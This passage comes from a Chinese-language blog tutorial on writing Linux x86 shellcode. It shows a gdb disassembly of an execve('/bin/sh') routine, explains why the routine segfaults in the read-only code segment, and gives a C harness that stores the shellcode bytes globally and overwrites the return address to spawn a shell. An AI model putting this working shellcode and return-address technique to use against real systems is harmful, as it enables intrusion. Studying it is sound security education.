  71. Starting program: /root/pentest/shellcode_asm   
  72.   
  73. Breakpoint 1, main (argc=1, argv=0xbffff464) at shellcode_asm.c:5  
  74. 5       __asm__  
  75. (gdb) disass main  
  76. Dump of assembler code for function main:  
  77.    0x08048394 <+0>:    push   %ebp  
  78.    0x08048395 <+1>:    mov    %esp,%ebp  
  79. => 0x08048397 <+3>:    jmp    0x80483b8 <subroutine_call>  
  80.    0x08048399 <+5>:    pop    %esi  
  81.    0x0804839a <+6>:    mov    %esi,0x8(%esi)  
  82.    0x0804839d <+9>:    xor    %eax,%eax  
  83.    0x0804839f <+11>:    mov    %eax,0xc(%esi)  
  84.    0x080483a2 <+14>:    mov    %al,0x7(%esi)  
  85.    0x080483a5 <+17>:    mov    {1}xb,%al  
  86.    0x080483a7 <+19>:   mov    %esi,%ebx  
  87.    0x080483a9 <+21>:    lea    0x8(%esi),%ecx  
  88.    0x080483ac <+24>:    lea    0xc(%esi),%edx  
  89.    0x080483af <+27>:    int    {1}x80  
  90.    0x080483b1 <+29>:    xor    %ebx,%ebx  
  91.    0x080483b3 <+31>:    mov    %ebx,%eax  
  92.    0x080483b5 <+33>:    inc    %eax  
  93.    0x080483b6 <+34>:    int    {1}x80  
  94.    0x080483b8 <+0>:    call   0x8048399 <main+5>  
  95.    0x080483bd <+5>:    das      
  96.    0x080483be <+6>:    bound  %ebp,0x6e(%ecx)  
  97.    0x080483c1 <+9>:    das      
  98.    0x080483c2 <+10>:    jae    0x804842c  
  99.    0x080483c4 <+12>:    add    %bh,0x0(%eax)  
  100.    0x080483ca <+18>:    pop    %ebp  
  101.    0x080483cb <+19>:    ret      
  102. End of assembler dump.  
  103. (gdb) x/s 0x080483bd  
  104. 0x80483bd <subroutine_call+5>:     "/bin/sh"  
  105. </span>  


 

分析可知,0x8048397到0x80483b8之间的部分,使我们嵌入汇编部分代码。而0x80483bd开始处存放着我们的字符串变量“/bin/sh”。

  1. <span style="font-size:18px;">root@linux:~/pentest# ./shellcode_asm  
  2. Segmentation fault  
  3. root@linux:~/pentest#  
  4. </span>  


 

为什么会出现段错误呢?原因是我们嵌入的汇编代码要修改自身所在的内存区域,然而由于main()函数所在的段属于代码段,具有只读属性,因此,要对只读的代码段执行写操作必然导致段错误。这里我们采用一个小技巧来绕过这个限制,我们将shellcode放在数据段,用一个全局变量数组来存储shellcode。

  1. <span style="font-size:18px;">root@linux:~/pentest# cat test.c  
  2. #include <stdio.h>  
  3.   
  4.     char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46"  
  5.     "\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"  
  6.     "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";  
  7.     int main(void) {  
  8.         int ret;  
  9.         *(&ret + 2) = (int)shellcode;  
  10.         return 0;  
  11.     }  
  12. root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o test test.c  
  13. root@linux:~/pentest# ./test  
  14. # exit  
  15. root@linux:~/pentest#  
  16. </span>  


 

可以看到,我们的shellcode成功的执行,并且得到命令行。


  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值